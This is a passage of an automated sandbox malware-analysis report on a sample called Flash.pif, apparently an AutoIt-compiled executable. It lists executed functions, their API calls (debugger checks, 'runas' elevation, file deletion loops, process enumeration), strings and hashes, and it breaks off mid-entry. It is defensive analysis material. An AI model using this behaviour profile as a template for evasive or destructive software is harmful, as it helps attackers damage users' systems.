Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Flash.pifPID: 4368, Parent PID: 5884COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	73

Executed Functions

Function 009E5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 009E526C
IsDebuggerPresent.KERNEL32 ref: 009E527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 009E52E6

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Part of subcall function 009DBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 009DBC07

SetCurrentDirectoryW.KERNEL32(?), ref: 009E5366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00A20B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00A20B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00A86D10), ref: 00A20BE9
ShellExecuteW.SHELL32(00000000), ref: 00A20BF0

Part of subcall function 009E514C: GetSysColorBrush.USER32(0000000F), ref: 009E5156
Part of subcall function 009E514C: LoadCursorW.USER32(00000000,00007F00), ref: 009E5165
Part of subcall function 009E514C: LoadIconW.USER32(00000063), ref: 009E517C
Part of subcall function 009E514C: LoadIconW.USER32(000000A4), ref: 009E518E
Part of subcall function 009E514C: LoadIconW.USER32(000000A2), ref: 009E51A0
Part of subcall function 009E514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009E51C6
Part of subcall function 009E514C: RegisterClassExW.USER32(?), ref: 009E521C

Part of subcall function 009E50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 009E5109
Part of subcall function 009E50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 009E512A
Part of subcall function 009E50DB: ShowWindow.USER32(00000000), ref: 009E513E
Part of subcall function 009E50DB: ShowWindow.USER32(00000000), ref: 009E5147

Part of subcall function 009E59D3: _memset.LIBCMT ref: 009E59F9
Part of subcall function 009E59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 009E5A9E

Strings

AutoIt, xrefs: 00A20B23
runas, xrefs: 00A20BE4
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00A20B28

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: e5f017616edfc7c5f4914ae8f32645aa60d11e246c312d625039747f01b95d7b
Instruction ID: a5e207a8bdc5f499f8a0e7495e358a837dfb1c2dde4302dc9e3db946cadf7ea0
Opcode Fuzzy Hash: e5f017616edfc7c5f4914ae8f32645aa60d11e246c312d625039747f01b95d7b
Instruction Fuzzy Hash: AB51F531A18288EECF12EBF5EC45FEE7B78AF45344F104066F561A6162DEB45D46CB20

Function 00A33CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009F0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E2A58,?,00008000), ref: 009F02A4

Part of subcall function 00A34FEC: GetFileAttributesW.KERNEL32(?,00A33BFE), ref: 00A34FED

FindFirstFileW.KERNEL32(?,?), ref: 00A33D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00A33E3E
MoveFileW.KERNEL32(?,?), ref: 00A33E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00A33E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00A33E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00A33EAC

Strings

\*.*, xrefs: 00A33D41, 00A33D4A, 00A33D5F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: a66be1e0367eb65b3ebba0003e448fe46639cf6b636da857f5fc08a0cf40d1d6
Instruction ID: c5494186fea4d9bf17ea2e1ac4026e1430767fa761b72f51881c38847e8e3938
Opcode Fuzzy Hash: a66be1e0367eb65b3ebba0003e448fe46639cf6b636da857f5fc08a0cf40d1d6
Instruction Fuzzy Hash: 6751813280514DAACF16EBE1CA92EEDB7B9AF54301F204165F452B7192EF316F49CB60

Function 009E5D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 009E5D40

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

GetCurrentProcess.KERNEL32(?,00A60A18,00000000,00000000,?), ref: 009E5E07
IsWow64Process.KERNEL32(00000000), ref: 009E5E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 009E5E54
FreeLibrary.KERNEL32(00000000), ref: 009E5E5F
GetSystemInfo.KERNEL32(00000000), ref: 009E5E90
GetSystemInfo.KERNEL32(00000000), ref: 009E5E9C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 1c20fff8763710d1b66467ab650c063a66c39a3017ece8380eb916b650ddee77
Instruction ID: 72f9ee3e327f35bb446d02b0d614ea65c174525c48095ffe53d1d01e73621779
Opcode Fuzzy Hash: 1c20fff8763710d1b66467ab650c063a66c39a3017ece8380eb916b650ddee77
Instruction Fuzzy Hash: 2B91B531549BC0EEC732CB7995505ABBFE56F3A304B884A6ED0C793A41D234AA48C759

Function 00A34005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009F0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E2A58,?,00008000), ref: 009F02A4

Part of subcall function 00A34FEC: GetFileAttributesW.KERNEL32(?,00A33BFE), ref: 00A34FED

FindFirstFileW.KERNEL32(?,?), ref: 00A3407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00A340CC
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A340DD
FindClose.KERNEL32(00000000), ref: 00A340F4
FindClose.KERNEL32(00000000), ref: 00A340FD

Strings

\*.*, xrefs: 00A3404E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 9b2a7f9bf171eaf54a9c7cfe60fdde64cc16913e748aeb082ff6fca4f4ac548a
Instruction ID: df97a296a91988b92cfd7545cbf53763a9d41e837580e9b7011feacd9b48333f
Opcode Fuzzy Hash: 9b2a7f9bf171eaf54a9c7cfe60fdde64cc16913e748aeb082ff6fca4f4ac548a
Instruction Fuzzy Hash: 3C316F310083859BC705EFA4D895DAFB7E8BE96304F444E1DF5E582192EB35AE09C762

Function 00A34148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00A3416D
Process32FirstW.KERNEL32(00000000,?), ref: 00A3417B
Process32NextW.KERNEL32(00000000,?), ref: 00A3419B
FindCloseChangeNotification.KERNEL32(00000000), ref: 00A34245

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: c4eecd7b820c7a44a2563f6bb50d1c1b63653ae9b06fd85355d28b31cf65e948
Instruction ID: 45551544f7b7b111b560806bc8ad7ba496a3bb65bcecba6a1457302e3b6104de
Opcode Fuzzy Hash: c4eecd7b820c7a44a2563f6bb50d1c1b63653ae9b06fd85355d28b31cf65e948
Instruction Fuzzy Hash: 743171711083419BD301EF91D885BAFBBF8AFD9350F10092DF595D21A1EBB1A989CB52

Function 009DB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 009E3740: CharUpperBuffW.USER32(?,00A971DC,00000000,?,00000000,00A971DC,?,009D53A5,?,?,?,?), ref: 009E375D

_memmove.LIBCMT ref: 009DB68A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: f94b40be4510c1c8f374de1ab5350074f3d3b1b6cc2c10704d2928b6dee0ba77
Instruction ID: 9126c5b6eb7e2e2caf079ecf16cfe44a1d7f53cc7c5334178a5edd77c98465b3
Opcode Fuzzy Hash: f94b40be4510c1c8f374de1ab5350074f3d3b1b6cc2c10704d2928b6dee0ba77
Instruction Fuzzy Hash: 84A28975648341DFCB20CF18C480B6AB7E5BF88304F15896EE89A8B361D775ED85CB92

Function 00A3494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00A1FC86), ref: 00A3495A
FindFirstFileW.KERNEL32(?,?), ref: 00A3496B
FindClose.KERNEL32(00000000), ref: 00A3497B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 3023e5b68f7a99bb965ecd20d4746488ee7213d5de73b895a644bc06266b16df
Instruction ID: 0e760e8d64b0ca46d75f5538098adcfa7fec5867dabf8959e9bd2deae6df4691
Opcode Fuzzy Hash: 3023e5b68f7a99bb965ecd20d4746488ee7213d5de73b895a644bc06266b16df
Instruction Fuzzy Hash: 8DE0DF31810505AB8210AB78EC0D8EB7BAC9E0B339F100B05F935C20E0EBB0A9848696

Function 009D94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0583fbf90d3dcc955b15b7fd3210ea970fa9ae60c7fdd096814fad041128d5b0
Instruction ID: 55c16fdd4e59b14b86dc431ec82ebb54c57b912870688d564f0f3aa1d94793e9
Opcode Fuzzy Hash: 0583fbf90d3dcc955b15b7fd3210ea970fa9ae60c7fdd096814fad041128d5b0
Instruction Fuzzy Hash: 3122BA74A4020ADFDB24EF54C480BBEB7B4FF49300F18C56AE956AB341E735A981CB91

Function 009DBC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 009DBF57

Part of subcall function 009D52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009D52E6

Sleep.KERNEL32(0000000A,?,?), ref: 00A136B5

Strings

CALL, xrefs: 009DC277
@GUI_CTRLHANDLE, xrefs: 00A13816
@GUI_WINHANDLE, xrefs: 00A137C1
@TRAY_ID, xrefs: 00A13FCD
@GUI_CTRLID, xrefs: 00A1376C
@COM_EVENTOBJ, xrefs: 00A13D2E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 23c51e710529edbb5ec6b8cdf56f99a1e56c654e86da2d9898e0bde517dceb4b
Instruction ID: 7ee845a54f8bc050327dbc45e66a89df7f5b4f7294ed58856f7cd06426833c0a
Opcode Fuzzy Hash: 23c51e710529edbb5ec6b8cdf56f99a1e56c654e86da2d9898e0bde517dceb4b
Instruction Fuzzy Hash: BFC2CF71608341DFCB24DF24C884BAAB7E5BF84304F14891EF59A973A1CB75E985CB92

Function 009D33E7 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009D3444
RegisterClassExW.USER32(00000030), ref: 009D346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009D347F
InitCommonControlsEx.COMCTL32(?), ref: 009D349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009D34AC
LoadIconW.USER32(000000A9), ref: 009D34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009D34D1

Strings

+, xrefs: 009D342D
AutoIt v3 GUI, xrefs: 009D3460
0, xrefs: 009D3426
TaskbarCreated, xrefs: 009D3474

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 37424b2105411478a6fd4eae0e3636995ab0581870b20d3ababc5c32b9c06a08
Instruction ID: f89c8eb20fe4ed98a96ab898d06fa2a0cfa3e2074b114422718e76423669afdb
Opcode Fuzzy Hash: 37424b2105411478a6fd4eae0e3636995ab0581870b20d3ababc5c32b9c06a08
Instruction Fuzzy Hash: 443123B1954309AFDB51CFE4EC88BDEBBF0FB09310F10855AE590A62A0D7B51582CFA0

Function 009D3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009D3444
RegisterClassExW.USER32(00000030), ref: 009D346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009D347F
InitCommonControlsEx.COMCTL32(?), ref: 009D349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009D34AC
LoadIconW.USER32(000000A9), ref: 009D34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009D34D1

Strings

+, xrefs: 009D342D
AutoIt v3 GUI, xrefs: 009D3460
0, xrefs: 009D3426
TaskbarCreated, xrefs: 009D3474

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a816ff9fc2a367e0147590562481fa12fe70d48ad34345260acf6d73e0c08372
Instruction ID: 56e82cebde6237d456f8b181b40a14d3e21672bd4c4a824cfb0e5686001abe93
Opcode Fuzzy Hash: a816ff9fc2a367e0147590562481fa12fe70d48ad34345260acf6d73e0c08372
Instruction Fuzzy Hash: 9C21E7B1A14208AFDB00DFD4EC48BDE7BF4FB08700F00815AF510A62A0DBB15582CFA5

Function 009E2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009F00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,009E3094), ref: 009F00ED

Part of subcall function 009F08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,009E309F), ref: 009F08E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 009E30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00A201BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00A201FB
RegCloseKey.ADVAPI32(?), ref: 00A20239
_wcscat.LIBCMT ref: 00A20292

Strings

Include, xrefs: 00A201B1, 00A201F2
Software\AutoIt v3\AutoIt, xrefs: 009E30D8
\Include\, xrefs: 009E309F
\, xrefs: 00A202B5

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: b670803a7e2f13fd944117d847e5c82a01c3e9930d4f17a1df0cbd7a25f17b68
Instruction ID: 07c44b38008c09bbd2c3bcc263ab33cd7ed742c9a5972b91b88f25f650946c45
Opcode Fuzzy Hash: b670803a7e2f13fd944117d847e5c82a01c3e9930d4f17a1df0cbd7a25f17b68
Instruction Fuzzy Hash: B4719D716053019EC705EFA5EC81AABBBF8FF86340B40492EF565C31A1EF309945CB52

Function 009E514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009E5156
LoadCursorW.USER32(00000000,00007F00), ref: 009E5165
LoadIconW.USER32(00000063), ref: 009E517C
LoadIconW.USER32(000000A4), ref: 009E518E
LoadIconW.USER32(000000A2), ref: 009E51A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009E51C6
RegisterClassExW.USER32(?), ref: 009E521C

Part of subcall function 009D3411: GetSysColorBrush.USER32(0000000F), ref: 009D3444
Part of subcall function 009D3411: RegisterClassExW.USER32(00000030), ref: 009D346E
Part of subcall function 009D3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009D347F
Part of subcall function 009D3411: InitCommonControlsEx.COMCTL32(?), ref: 009D349C
Part of subcall function 009D3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009D34AC
Part of subcall function 009D3411: LoadIconW.USER32(000000A9), ref: 009D34C2
Part of subcall function 009D3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009D34D1

Strings

#, xrefs: 009E5201
0, xrefs: 009E51FA
AutoIt v3, xrefs: 009E520B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 10b1ed3d0bde2ad9e6dfabbd91b5bcec4d82017f9cd9484cba5fcea37504378a
Instruction ID: 900ff33d13de0ca66f41e2d6ff6e1363d1023d20759c9f4f726ee6e0c32f379e
Opcode Fuzzy Hash: 10b1ed3d0bde2ad9e6dfabbd91b5bcec4d82017f9cd9484cba5fcea37504378a
Instruction Fuzzy Hash: CE214DB1A24308AFEB11DFE4ED09B9E7BB4FB08311F04415AF504A62A0DBB56951DFA4

Function 00A45E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

